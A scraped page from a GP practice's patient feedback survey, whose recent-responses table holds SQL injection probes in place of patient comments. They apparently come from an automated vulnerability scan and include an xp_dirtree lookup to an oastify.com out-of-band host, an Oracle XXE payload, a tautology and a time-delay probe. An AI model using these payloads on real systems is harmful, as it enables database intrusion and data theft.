Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’;declare @q varchar(99);set @q=’s6z5dbxyxwm2kii13vcc4672xt3xrqhe85wxju7j.oasti’+’fy.comcwc’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 4, 2023 at 6:15 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %bwszh;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 6:15 am |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %bwszh;]>’),’/l’) from dual) | [10] | [11] | July 4, 2023 at 6:15 am |
Very good32047034′ or ‘1240’=’1240 | [10] | [11] | July 4, 2023 at 6:15 am |
Very good’)waitfor delay’0:0:20′– | [10] | [11] | July 4, 2023 at 6:15 am |
